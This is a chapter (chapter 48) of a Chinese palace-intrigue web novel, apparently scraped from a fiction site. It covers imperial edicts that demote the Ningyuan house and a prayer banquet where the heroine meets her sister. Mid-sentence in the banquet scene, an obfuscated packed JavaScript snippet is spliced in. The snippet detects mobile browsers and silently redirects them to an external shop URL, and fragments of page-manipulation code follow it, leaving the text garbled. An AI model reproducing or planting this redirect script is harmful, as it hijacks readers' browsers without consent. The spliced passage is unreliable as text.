他在土坛城做他的土皇帝,同爹爹有何关系,为何要屠她平乐村?她是亲身经历过这些事情的,这些人虽然残暴,可说让她相信他们因为贿赂未成功,就痛下杀手屠了她们村子?况且她跟在薛岫白身边,算是知晓了内情,这背后之人可不是简简单单的芝麻官能左右的。 见她面色凄白,梁衡又说了个八卦,这几日京城传言宁远侯府被皇上责骂,跪在御书房门外整整一日。 圣上还下旨:宁远侯薛长意品行不端,降为伯爵为世子薛岫白祈福,需得诚心,若薛岫白身体无虞择日继承侯位,若薛岫白生命垂危一日,宁远伯便守一日。 此圣旨一出所有人都知道了,从古至今的子承父业,到今日生生翻了过来。 圣旨直白的告诉众人,若薛岫白安好宁远侯府便袭侯位,薛岫白出了事宁远伯就待在伯爵的位置上,后代联伯爵都世袭不上。 听说侯夫人在接圣旨后,就晕倒在地,宁远伯府从此闭门不见来客。 关月鸢一听,心中却更焦虑了! 什么?长陵身体不是已无大碍?难道又复发了不成? 她刚想央着娘亲进宫看看,这时,圣旨到了! “奉天承运,皇帝诏曰,镇国将军嫡女宜兴郡主,懿质自持,含章挺秀,慧行早成,有巾帼不让须眉之势,乃众贵女表率,特授册封入皇家名碟,赐良田千倾,黄金万两。钦此。” “奉天承运,皇帝诏曰,镇国将军关绩,忠诚正直,宜成重任,如今受歹人蒙冤,朕承慈谕,特册封为一品辅国大将军,以示皇恩。钦此!” “关将军可受苦了,圣上专门派老奴来看望将军。”李同光笑着将手中的圣旨放到了关绩手中。 关绩乐得嘴都快咧去天上了,一想到自己品级力压那姓闻的一头,这个牢坐的值啊! 他哈哈笑着去勾李同光的肩,“公公可得替我谢谢皇上,就说本将军心中念念不忘圣上,只等明日上朝,重见圣上荣光!” “将军留步,还是多陪伴家人,老奴这就去回话了。” “走好。”关绩亲自将李同光送出了府。 “对了,三日后圣上在宫中为小侯爷办了个宴会,为其求福,圣上点了宜兴郡主,让她去参加。”李同光见话已传到位,才匆匆离开。 * 三日之后,因心上压着事,关月鸢一早就进了宫,宴厅设在最大的会场,往日都是逢年过节一般的排场,讨着为世子祈福的名义,将众人聚了起来。 她本以为她来的够早了,可打眼一看皆是人。 众位贵女此次可不能穿着华丽,只简单的轻梳妆,在各家夫人的带领下早早的坐在了莆席之上,春妙在一旁告诉关月鸢,入目所及的夫人没有一个是三品以下的。 果真是在打宁远伯府的脸面。 李钰珏现在是宁远伯夫人了,跪在大厅之中最前面的莆席之上,诵读着经书。 原本桌椅板凳装饰的大殿,如今被打理的干净,最前端放置一个莆席,后面虽然没有桌椅,但用漂亮的波斯地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049700|129385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毯大手笔的铺了满地,上面垫着厚厚的垫子,生怕贵女们坐着不适。 众人三两围成一圈,坐在圈中聊着闲话。 “这哪是祈福,分明是惩治伯夫人呢。” “可不,一个商女竟然还敢怠慢小侯爷,非得让她受些罪不可。” “听说了没,侍中郎的小女云萝妹妹,自从去了宁远伯府参加宴会,回来没到两天便聘了一个六品通判,过了年就要出嫁了!” “发生了何事?展开讲讲?” “我可不知,但压不住很久的,迟早能知晓。” “听闻一会儿昙銮佛子回来讲经,今日我就是奔着这前来的。” 关月鸢坐在一旁听得认真,面前放了盘果梨,她拿在手中擦了擦还未进嘴,便感觉有一人停了下来,跪坐在她身旁的软垫之上。 “大囡。” 听着熟悉的称呼,关月鸢一个抬头,闻清韵正挺着腰跪坐在地,手中捧着一条佛珠。 “二囡!”这些时日关月鸢心中委屈不能告人,见到自己心中的主心骨恨不得抱住二囡说个清楚。 紧接着她又想起来,二囡叮嘱她在外不能暴露二人关系,尤其是她俩的身世竟然牵扯出屠村的案件,也让关月鸢认识到了身世的严重性。 她便有样学样的跪坐着,低下头没有动弹。 眼见关月鸢成长许多,按照往日,定不管不顾的先扑上来,如今竟然也知晓了大局,闻清韵心底有些痛,她何尝不想与关月鸢相认,可造化弄人。 “大囡,你可知如今小梅在哪?”闻清韵言毕叩了一下,细声问道。 “应还在太子妃身旁,二囡……小梅是你找到的吗?”关月鸢迫不及待的问。 她脑子不聪明,可她对二囡绝对信任,想必小梅被太子找见留下一名,其中有二囡的手笔。 闻清韵闻言展眉一笑,“小梅毕竟也是我的姐姐,我引到那家牛棚中赌的就是能不能被太子发现。那家是太子妃别院掌院的家,而每月十五,太子妃都会前去别院,你瞧赌赢了。” 关月鸢长嘘了一口气,咧开了嘴角,“二囡,你可真应该见见小梅,如今她可是太子妃眼前的管事,不日就会入尚宫局当女工了,现在可神气得很呢。” 闻言,闻清韵闪过一丝担心,看来大囡并不知道外界的留言。 自从那日判决生效,百姓不去抨击屠杀之人,不去咒骂该死的王状,反而盯着小梅,辱骂她全家去世她为何不陪着去死,为何还苟活于世,还有骂她不知廉耻是个破鞋,还害了全村人的性命。 小梅一出门被人往身上扔了一堆铜板,问她卖不卖。 若不是太子妃派人来接,她真就遭了毒手。 闻清韵也派人去寻过,可始终找不见小梅的踪影,如今听闻应在太子妃手下,长舒了一口气,想必性命无忧,但还是应该去探望一下。 可二人身在祈福中,不能偷跑,关月鸢便喊了个侍女过来,想着带个口信给小梅,只说祈福之后想见一面。 过了半晌,侍女回来,递给关月鸢一张纸条。 歪歪扭扭的字迹力透纸背,墨水甚至沁到了背面,关月鸢将纸条缓缓打开,入目便是一句‘新衣已经做成,等会儿派人来送’。 这是何意? 48. 第 48 章